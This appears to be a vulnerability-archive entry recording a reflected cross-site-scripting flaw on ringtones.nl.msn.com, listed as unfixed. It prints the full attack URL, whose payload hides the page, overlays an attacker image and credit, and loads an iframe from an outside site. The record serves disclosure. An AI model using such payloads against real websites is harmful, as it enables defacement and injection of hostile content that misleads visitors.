Security researcher Sony, has submitted on 23/10/2010 a cross-site-scripting (XSS) vulnerability affecting ringtones.nl.msn.com, which at the time of submission ranked 16 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 02/04/2012. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
Date submitted: 23/10/2010 |
Date published: 02/04/2012 |
Fixed? Mail us! | Status: UNFIXED |
Author: Sony |
Domain: ringtones.nl.msn.com |
Category: XSS |
Pagerank: 16 |
URL: http://ringtones.nl.msn.com/games.php?rtch=1&rtlo=%22%3E%3C/title%3E%3Cstyle%3Ebody{visibility:hidde n;}%20html{background-color:%20Black;}%3C/style%3E%27%22%3E%3Cdiv%20style=%22position:%20absolute;le ft:%20420px;top:%2040px;%E2%80%8B%E2%80%8Bz-index:%2010;visibility:%20visible;%20color:%20White;%20f ont-size:%2020px;%22%3E%3Cimg%20src=%22http://img257.imageshack.us/img257/3733/77822687.png%22%20sty le=%22height:%20400px;%20width:%20600px;%22%20alt=%22By%20Sony%22%3E%3Cbr%3Eby%20Sony%3Ciframe%20src =%22http://insecurity.ro%22%3E |
Click here to view the mirror
|
|
|